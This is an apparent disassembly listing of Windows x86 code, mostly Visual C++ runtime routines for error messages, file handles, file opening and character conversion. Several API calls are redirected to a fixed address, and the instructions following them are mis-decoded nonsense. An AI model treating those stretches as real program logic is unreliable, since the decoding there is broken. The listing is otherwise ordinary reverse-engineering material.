; sub_417BF3+9p
mov eax, ds:dword_4694C8
cmp eax, 1
jz short loc_41CED7
test eax, eax
jnz short locret_41CEF8
cmp ds:dword_437D44, 1
jnz short locret_41CEF8
loc_41CED7: ; CODE XREF: sub_41CEC0+8j
push 0FCh
call sub_41CEF9
mov eax, ds:dword_469630
pop ecx
test eax, eax
jz short loc_41CEED
call eax
loc_41CEED: ; CODE XREF: sub_41CEC0+29j
push 0FFh
loc_41CEF2: ; CODE XREF: sub_41CEF9+72j
call sub_41CEF9
pop ecx
locret_41CEF8: ; CODE XREF: sub_41CEC0+Cj
; sub_41CEC0+15j
retn
sub_41CEC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEF9 proc near ; CODE XREF: sub_417BCE+12p
; sub_417BF3+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
arg_B = byte ptr 13h
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_4383B8
loc_41CF0C: ; CODE XREF: sub_41CEF9+20j
cmp edx, [eax]
jz short loc_41CF1B
add eax, 8
inc ecx
cmp eax, offset off_438448
jl short loc_41CF0C
loc_41CF1B: ; CODE XREF: sub_41CEF9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, ds:dword_4383B8[esi]
jnz loc_41D049
mov eax, ds:dword_4694C8
cmp eax, 1
jz loc_41D023
test eax, eax
jnz short loc_41CF4C
cmp ds:dword_437D44, 1
jz loc_41D023
loc_41CF4C: ; CODE XREF: sub_41CEF9+44j
cmp edx, 0FCh
jz loc_41D049
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 3D0000h
loop loc_41CEF2
sal [ebp+arg_B], 8Dh
test [esi+edi*8-1], ebx
jmp fword ptr [eax+64h]
; ---------------------------------------------------------------------------
sbb eax, [edx+0]
push eax
call sub_415BE0
pop ecx
pop ecx
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_415CD0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41CFC6
lea eax, [ebp+var_1A4]
push eax
call sub_415CD0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_416D20
add esp, 10h
loc_41CFC6: ; CODE XREF: sub_41CEF9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_415BE0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_415BF0
lea eax, [ebp+var_A0]
push offset asc_421B40 ; "\n\n"
push eax
call sub_415BF0
push ds:off_4383BC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_415BF0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41E6CE
add esp, 2Ch
pop edi
jmp short loc_41D049
; ---------------------------------------------------------------------------
loc_41D023: ; CODE XREF: sub_41CEF9+3Cj
; sub_41CEF9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_4383BC[esi]
push 0
push eax
push dword ptr [esi]
call sub_415CD0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 3D0000h
mov ecx, 2FB8E850h
sti
inc ecx
loc_41D049: ; CODE XREF: sub_41CEF9+2Ej
; sub_41CEF9+59j ...
pop esi
leave
retn
sub_41CEF9 endp
; =============== S U B R O U T I N E =======================================
sub_41D04C proc near ; CODE XREF: sub_417C17+6Cp
; sub_41B890+32p ...
arg_0 = dword ptr 4
inc ds:dword_469634
push 1000h
call sub_415DA9
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41D075
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41D086
; ---------------------------------------------------------------------------
loc_41D075: ; CODE XREF: sub_41D04C+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41D086: ; CODE XREF: sub_41D04C+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41D04C endp
; =============== S U B R O U T I N E =======================================
sub_41D090 proc near ; CODE XREF: sub_417C17+61p
; sub_418796+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_46A8A0
jb short loc_41D09F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D09F: ; CODE XREF: sub_41D090+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_46A7A0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41D090 endp
; =============== S U B R O U T I N E =======================================
sub_41D0B6 proc near ; DATA XREF: seg002:00423020o
mov eax, ds:dword_46A780
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41D0CA
mov eax, 200h
jmp short loc_41D0D0
; ---------------------------------------------------------------------------
loc_41D0CA: ; CODE XREF: sub_41D0B6+Bj
cmp eax, esi
jge short loc_41D0D5
mov eax, esi
loc_41D0D0: ; CODE XREF: sub_41D0B6+12j
mov ds:dword_46A780, eax
loc_41D0D5: ; CODE XREF: sub_41D0B6+16j
push 4
push eax
call sub_41E757
pop ecx
mov ds:dword_469760, eax
test eax, eax
pop ecx
jnz short loc_41D109
push 4
push esi
mov ds:dword_46A780, esi
call sub_41E757
pop ecx
mov ds:dword_469760, eax
test eax, eax
pop ecx
jnz short loc_41D109
push 1Ah
call sub_417BCE
pop ecx
loc_41D109: ; CODE XREF: sub_41D0B6+30j
; sub_41D0B6+49j
xor ecx, ecx
mov eax, offset off_438448
loc_41D110: ; CODE XREF: sub_41D0B6+6Ej
mov edx, ds:dword_469760
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_4386C8
jl short loc_41D110
xor edx, edx
mov ecx, offset dword_438458
loc_41D12D: ; CODE XREF: sub_41D0B6+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, ds:dword_46A7A0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41D14A
test eax, eax
jnz short loc_41D14D
loc_41D14A: ; CODE XREF: sub_41D0B6+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41D14D: ; CODE XREF: sub_41D0B6+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_4384B8
jl short loc_41D12D
pop esi
retn
sub_41D0B6 endp
; =============== S U B R O U T I N E =======================================
sub_41D15B proc near ; DATA XREF: seg002:00423030o
; FUNCTION CHUNK AT 0041E7D4 SIZE 00000058 BYTES
call sub_418720
cmp ds:byte_4694B4, 0
jz short locret_41D16E
jmp loc_41E7D4
; ---------------------------------------------------------------------------
locret_41D16E: ; CODE XREF: sub_41D15B+Cj
retn
sub_41D15B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D16F proc near ; CODE XREF: sub_417D2C+2D4p
; sub_417D2C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41D17B
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D17B: ; CODE XREF: sub_41D16F+8j
cmp ds:dword_469508, 0
jnz short loc_41D196
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41D1C8
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D196: ; CODE XREF: sub_41D16F+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push ds:dword_437F5C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push ds:dword_469518
call ds:dword_421138 ; WideCharToMultiByte
test eax, eax
jz short loc_41D1C8
cmp [ebp+arg_0], 0
jz short loc_41D1D5
loc_41D1C8: ; CODE XREF: sub_41D16F+1Ej
; sub_41D16F+51j
mov ds:dword_469474, 2Ah
or eax, 0FFFFFFFFh
loc_41D1D5: ; CODE XREF: sub_41D16F+57j
pop ebp
retn
sub_41D16F endp
; ---------------------------------------------------------------------------
loc_41D1D7: ; CODE XREF: sub_418536+5Ep
; sub_41C1DF+9Ap
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421B80
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, ds:dword_469638
xor ebx, ebx
cmp eax, ebx
jnz short loc_41D246
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_421870
push esi
call ds:dword_421028 ; GetStringTypeW
test eax, eax
jz short loc_41D224
mov eax, esi
jmp short loc_41D241
; ---------------------------------------------------------------------------
loc_41D224: ; CODE XREF: seg000:0041D21Ej
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_438FB4
push esi
push ebx
call near ptr 3D0000h
mov [ebp-317BF040h], eax
; ---------------------------------------------------------------------------
db 0
dd 26A0000h
; ---------------------------------------------------------------------------
pop eax
loc_41D241: ; CODE XREF: seg000:0041D222j
mov ds:dword_469638, eax
loc_41D246: ; CODE XREF: seg000:0041D206j
cmp eax, 2
jnz short loc_41D26F
mov eax, [ebp+1Ch]
cmp eax, ebx
jnz short loc_41D257
mov eax, ds:dword_469508
loc_41D257: ; CODE XREF: seg000:0041D250j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call near ptr 3D0000h
in al, 0E9h
lahf
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_41D26F: ; CODE XREF: seg000:0041D249j
cmp eax, 1
jnz loc_41D30C
cmp [ebp+18h], ebx
jnz short loc_41D285
mov eax, ds:dword_469518
mov [ebp+18h], eax
loc_41D285: ; CODE XREF: seg000:0041D27Bj
push ebx
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+18h]
call ds:dword_421064 ; MultiByteToWideChar
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_41D30C
mov [ebp-4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_415D50
mov [ebp-18h], esp
mov esi, esp
mov [ebp-24h], esi
push edi
push ebx
push esi
call sub_415550
add esp, 0Ch
jmp short loc_41D2DB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
xor esi, esi
loc_41D2DB: ; CODE XREF: seg000:0041D2CEj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41D30C
push dword ptr [ebp-20h]
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 1
push dword ptr [ebp+18h]
call ds:dword_421064 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41D30C
push dword ptr [ebp+14h]
push eax
push esi
push dword ptr [ebp+8]
call ds:dword_421028 ; GetStringTypeW
jmp short loc_41D30E
; ---------------------------------------------------------------------------
loc_41D30C: ; CODE XREF: seg000:0041D272j
; seg000:0041D2A7j ...
xor eax, eax
loc_41D30E: ; CODE XREF: seg000:0041D30Aj
lea esp, [ebp-34h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41D320 proc near ; CODE XREF: sub_41D53A:loc_41D6B2p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_46A7A0
loc_41D32F: ; CODE XREF: sub_41D320+48j
mov eax, [ecx]
test eax, eax
jz short loc_41D36C
lea edx, [eax+100h]
loc_41D33B: ; CODE XREF: sub_41D320+28j
cmp eax, edx
jnb short loc_41D35B
test byte ptr [eax+4], 1
jz short loc_41D34A
add eax, 8
jmp short loc_41D33B
; ---------------------------------------------------------------------------
loc_41D34A: ; CODE XREF: sub_41D320+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41D3AF
loc_41D35B: ; CODE XREF: sub_41D320+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_46A8A0
jl short loc_41D32F
jmp short loc_41D3AF
; ---------------------------------------------------------------------------
loc_41D36C: ; CODE XREF: sub_41D320+13j
mov esi, 100h
push esi
call sub_415DA9
test eax, eax
pop ecx
jz short loc_41D3AF
add ds:dword_46A8A0, 20h
lea ecx, ds:46A7A0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41D392: ; CODE XREF: sub_41D320+88j
cmp eax, edx
jnb short loc_41D3AA
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41D392
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D320+74j
shl edi, 5
mov ebx, edi
loc_41D3AF: ; CODE XREF: sub_41D320+39j
; sub_41D320+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41D320 endp
; ---------------------------------------------------------------------------
loc_41D3B5: ; CODE XREF: sub_41D53A+1F4p
mov eax, [esp+4]
push esi
cmp eax, ds:dword_46A8A0
push edi
jnb short loc_41D415
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:46A7A0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41D415
cmp ds:dword_437D44, 1
push ebx
mov ebx, [esp+14h]
jnz short near ptr loc_41D40A+1
sub eax, 0
jz short loc_41D402
dec eax
jz short loc_41D3FD
dec eax
jnz short near ptr loc_41D40A+1
push ebx
push 0FFFFFFF4h
jmp short loc_41D405
; ---------------------------------------------------------------------------
loc_41D3FD: ; CODE XREF: seg000:0041D3F3j
push ebx
push 0FFFFFFF5h
jmp short loc_41D405
; ---------------------------------------------------------------------------
loc_41D402: ; CODE XREF: seg000:0041D3F0j
push ebx
push 0FFFFFFF6h
loc_41D405: ; CODE XREF: seg000:0041D3FBj
; seg000:0041D400j
call near ptr 3D0000h
loc_41D40A: ; CODE XREF: seg000:0041D3EBj
; seg000:0041D3F6j
test [ebx+301C8907h], cl
xor eax, eax
pop ebx
jmp short loc_41D429
; ---------------------------------------------------------------------------
loc_41D415: ; CODE XREF: seg000:0041D3C1j
; seg000:0041D3DDj
and ds:dword_469478, 0
mov ds:dword_469474, 9
or eax, 0FFFFFFFFh
loc_41D429: ; CODE XREF: seg000:0041D413j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_41D42C proc near ; CODE XREF: sub_4185AB+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, ds:dword_46A8A0
push edi
jnb short loc_41D48F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:46A7A0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41D48F
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41D48F
cmp ds:dword_437D44, 1
jnz short near ptr loc_41D484+1
xor eax, eax
sub ecx, eax
jz short loc_41D47C
dec ecx
jz short loc_41D477
dec ecx
jnz short near ptr loc_41D484+1
push eax
push 0FFFFFFF4h
jmp short loc_41D47F
; ---------------------------------------------------------------------------
loc_41D477: ; CODE XREF: sub_41D42C+41j
push eax
push 0FFFFFFF5h
jmp short loc_41D47F
; ---------------------------------------------------------------------------
loc_41D47C: ; CODE XREF: sub_41D42C+3Ej
push eax
push 0FFFFFFF6h
loc_41D47F: ; CODE XREF: sub_41D42C+49j
; sub_41D42C+4Ej
call near ptr 3D0000h
loc_41D484: ; CODE XREF: sub_41D42C+38j
; sub_41D42C+44j
add ecx, [ebx+300C8307h]
push dword ptr [ebx]
shr bl, 14h
loc_41D48F: ; CODE XREF: sub_41D42C+Cj
; sub_41D42C+2Aj ...
and ds:dword_469478, 0
mov ds:dword_469474, 9
or eax, 0FFFFFFFFh
pop edi
pop esi
retn
sub_41D42C endp
; =============== S U B R O U T I N E =======================================
sub_41D4A6 proc near ; CODE XREF: sub_4185AB+32p
; sub_4185AB+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_46A8A0
jnb short loc_41D4CE
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_46A7A0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41D4CE
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41D4CE: ; CODE XREF: sub_41D4A6+Aj
; sub_41D4A6+23j
and ds:dword_469478, 0
mov ds:dword_469474, 9
or eax, 0FFFFFFFFh
retn
sub_41D4A6 endp
; =============== S U B R O U T I N E =======================================
sub_41D4E3 proc near ; CODE XREF: sub_418689+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_46A8A0
jnb short loc_41D52C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, ds:dword_46A7A0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41D52C
push eax
call sub_41D4A6
pop ecx
push eax
call near ptr 3D0000h
xchg al, [ebp-0F78A40h]
adc eax, offset dword_421088
jmp short loc_41D523
; ---------------------------------------------------------------------------
xor eax, eax
loc_41D523: ; CODE XREF: sub_41D4E3+3Cj
test eax, eax
jz short locret_41D539
mov ds:dword_469478, eax
loc_41D52C: ; CODE XREF: sub_41D4E3+Aj
; sub_41D4E3+22j
mov ds:dword_469474, 9
or eax, 0FFFFFFFFh
locret_41D539: ; CODE XREF: sub_41D4E3+42j
retn
sub_41D4E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D53A proc near ; CODE XREF: sub_418860+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_13 = byte ptr 1Bh
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41D560
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41D56B
; ---------------------------------------------------------------------------
loc_41D560: ; CODE XREF: sub_41D53A+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41D56B: ; CODE XREF: sub_41D53A+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41D585
test ch, 40h
jnz short loc_41D581
cmp ds:dword_469740, eax
jz short loc_41D585
loc_41D581: ; CODE XREF: sub_41D53A+3Dj
or [ebp+var_1], 80h
loc_41D585: ; CODE XREF: sub_41D53A+38j
; sub_41D53A+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41D5BD
dec eax
jz short loc_41D5B4
dec eax
jz short loc_41D5AB
loc_41D596: ; CODE XREF: sub_41D53A+9Fj
; sub_41D53A+E8j ...
mov ds:dword_469474, 16h
mov ds:dword_469478, ebx
jmp loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D5AB: ; CODE XREF: sub_41D53A+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41D5C4
; ---------------------------------------------------------------------------
loc_41D5B4: ; CODE XREF: sub_41D53A+57j
mov [ebp+var_C], 40000000h
jmp short loc_41D5C4
; ---------------------------------------------------------------------------
loc_41D5BD: ; CODE XREF: sub_41D53A+54j
mov [ebp+var_C], 80000000h
loc_41D5C4: ; CODE XREF: sub_41D53A+78j
; sub_41D53A+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41D5F2
cmp eax, 20h
jz short loc_41D5E9
cmp eax, 30h
jz short loc_41D5E0
cmp eax, 40h
jnz short loc_41D596
mov [ebp+var_10], esi
jmp short loc_41D5F5
; ---------------------------------------------------------------------------
loc_41D5E0: ; CODE XREF: sub_41D53A+9Aj
mov [ebp+var_10], 2
jmp short loc_41D5F5
; ---------------------------------------------------------------------------
loc_41D5E9: ; CODE XREF: sub_41D53A+95j
mov [ebp+var_10], 1
jmp short loc_41D5F5
; ---------------------------------------------------------------------------
loc_41D5F2: ; CODE XREF: sub_41D53A+90j
mov [ebp+var_10], ebx
loc_41D5F5: ; CODE XREF: sub_41D53A+A4j
; sub_41D53A+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41D63F
jz short loc_41D63A
cmp ecx, ebx
jz short loc_41D63A
cmp ecx, edi
jz short loc_41D631
cmp ecx, 200h
jz short loc_41D658
cmp ecx, 300h
jnz loc_41D596
mov [ebp+var_8], 2
jmp short loc_41D668
; ---------------------------------------------------------------------------
loc_41D631: ; CODE XREF: sub_41D53A+D8j
mov [ebp+var_8], 4
jmp short loc_41D668
; ---------------------------------------------------------------------------
loc_41D63A: ; CODE XREF: sub_41D53A+D0j
; sub_41D53A+D4j
mov [ebp+var_8], esi
jmp short loc_41D668
; ---------------------------------------------------------------------------
loc_41D63F: ; CODE XREF: sub_41D53A+CEj
cmp ecx, 500h
jz short loc_41D661
cmp ecx, 600h
jz short loc_41D658
cmp ecx, edx
jz short loc_41D661
jmp loc_41D596
; ---------------------------------------------------------------------------
loc_41D658: ; CODE XREF: sub_41D53A+E0j
; sub_41D53A+113j
mov [ebp+var_8], 5
jmp short loc_41D668
; ---------------------------------------------------------------------------
loc_41D661: ; CODE XREF: sub_41D53A+10Bj
; sub_41D53A+117j
mov [ebp+var_8], 1
loc_41D668: ; CODE XREF: sub_41D53A+F5j
; sub_41D53A+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41D687
mov ecx, ds:dword_46947C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41D687
push 1
pop esi
loc_41D687: ; CODE XREF: sub_41D53A+138j
; sub_41D53A+148j
test al, 40h
jz short loc_41D695
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41D695: ; CODE XREF: sub_41D53A+14Fj
test ah, 10h
jz short loc_41D69C
or esi, edi
loc_41D69C: ; CODE XREF: sub_41D53A+15Ej
test al, 20h
jz short loc_41D6A8
or esi, 8000000h
jmp short loc_41D6B2
; ---------------------------------------------------------------------------
loc_41D6A8: ; CODE XREF: sub_41D53A+164j
test al, 10h
jz short loc_41D6B2
or esi, 10000000h
loc_41D6B2: ; CODE XREF: sub_41D53A+16Cj
; sub_41D53A+170j
call sub_41D320
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41D6D3
and ds:dword_469478, 0
mov ds:dword_469474, 18h
jmp short loc_41D711
; ---------------------------------------------------------------------------
loc_41D6D3: ; CODE XREF: sub_41D53A+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call ds:dword_421078 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_41D704
push esi
call near ptr 3D0000h
in eax, 85h
sal [ebp+arg_13], 56h
call ds:dword_42106C ; CloseHandle
loc_41D704: ; CODE XREF: sub_41D53A+1B6j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41C5B7
pop ecx
loc_41D711: ; CODE XREF: sub_41D53A+197j
mov eax, edi
jmp loc_41D7EE
; ---------------------------------------------------------------------------
cmp eax, 2
jnz short loc_41D723
or [ebp+var_1], 40h
jmp short loc_41D72C
; ---------------------------------------------------------------------------
loc_41D723: ; CODE XREF: sub_41D53A+1E1j
cmp eax, 3
jnz short loc_41D72C
or [ebp+var_1], 8
loc_41D72C: ; CODE XREF: sub_41D53A+1E7j
; sub_41D53A+1ECj
push esi
push ebx
call loc_41D3B5
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:46A7A0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41D7D5
test al, 80h
jz short loc_41D7D5
test byte ptr [ebp+arg_4], 2
jz short loc_41D7D5
push 2
push 0FFFFFFFFh
push ebx
call sub_41BB5F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41D78A
cmp ds:dword_469478, 83h
jz short loc_41D7D5
jmp short loc_41D7C9
; ---------------------------------------------------------------------------
loc_41D78A: ; CODE XREF: sub_41D53A+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41B969
add esp, 0Ch
test eax, eax
jnz short loc_41D7B7
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41D7B7
push [ebp+var_10]
push ebx
call sub_41E82C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D7C9
loc_41D7B7: ; CODE XREF: sub_41D53A+265j
; sub_41D53A+26Bj
push 0
push 0
push ebx
call sub_41BB5F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41D7D5
loc_41D7C9: ; CODE XREF: sub_41D53A+24Ej
; sub_41D53A+27Bj
push ebx
call sub_4185AB
pop ecx
loc_41D7D0: ; CODE XREF: sub_41D53A+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41D7EE
; ---------------------------------------------------------------------------
loc_41D7D5: ; CODE XREF: sub_41D53A+221j
; sub_41D53A+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41D7EC
test byte ptr [ebp+arg_4], 8
jz short loc_41D7EC
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41D7EC: ; CODE XREF: sub_41D53A+29Fj
; sub_41D53A+2A5j
mov eax, ebx
loc_41D7EE: ; CODE XREF: sub_41D53A+1D9j
; sub_41D53A+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41D53A endp
; =============== S U B R O U T I N E =======================================
sub_41D7F3 proc near ; CODE XREF: sub_419B93+52p
xor eax, eax
retn
sub_41D7F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D7F6 proc near ; CODE XREF: sub_41D82B+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41D841
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41D8D3
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41D7F6 endp
; =============== S U B R O U T I N E =======================================
sub_41D82B proc near ; CODE XREF: sub_419E7F+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41D7F6
pop ecx
pop ecx
retn
sub_41D82B endp
; =============== S U B R O U T I N E =======================================
sub_41D841 proc near ; CODE XREF: sub_41D7F6+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41D852
push 10h
pop eax
loc_41D852: ; CODE XREF: sub_41D841+Cj
test bl, 4
jz short loc_41D859
or al, 8
loc_41D859: ; CODE XREF: sub_41D841+14j
test bl, 8
jz short loc_41D860
or al, 4
loc_41D860: ; CODE XREF: sub_41D841+1Bj
test bl, 10h
jz short loc_41D867
or al, 2
loc_41D867: ; CODE XREF: sub_41D841+22j
test bl, 20h
jz short loc_41D86E
or al, 1
loc_41D86E: ; CODE XREF: sub_41D841+29j
test bl, 2
jz short loc_41D878
or eax, 80000h
loc_41D878: ; CODE XREF: sub_41D841+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41D8B0
cmp edx, 400h
jz short loc_41D8AD
cmp edx, 800h
jz short loc_41D8A9
cmp edx, esi
jnz short loc_41D8B0
or eax, edi
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D8A9: ; CODE XREF: sub_41D841+5Ej
or eax, ebp
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D8AD: ; CODE XREF: sub_41D841+56j
or ah, 1
loc_41D8B0: ; CODE XREF: sub_41D841+4Ej
; sub_41D841+62j ...
and ecx, edi
pop esi
jz short loc_41D8C0
cmp ecx, ebp
jnz short loc_41D8C5
or eax, 10000h
jmp short loc_41D8C5
; ---------------------------------------------------------------------------
loc_41D8C0: ; CODE XREF: sub_41D841+72j
or eax, 20000h
loc_41D8C5: ; CODE XREF: sub_41D841+76j
; sub_41D841+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41D8D2
or eax, 40000h
locret_41D8D2: ; CODE XREF: sub_41D841+8Aj
retn
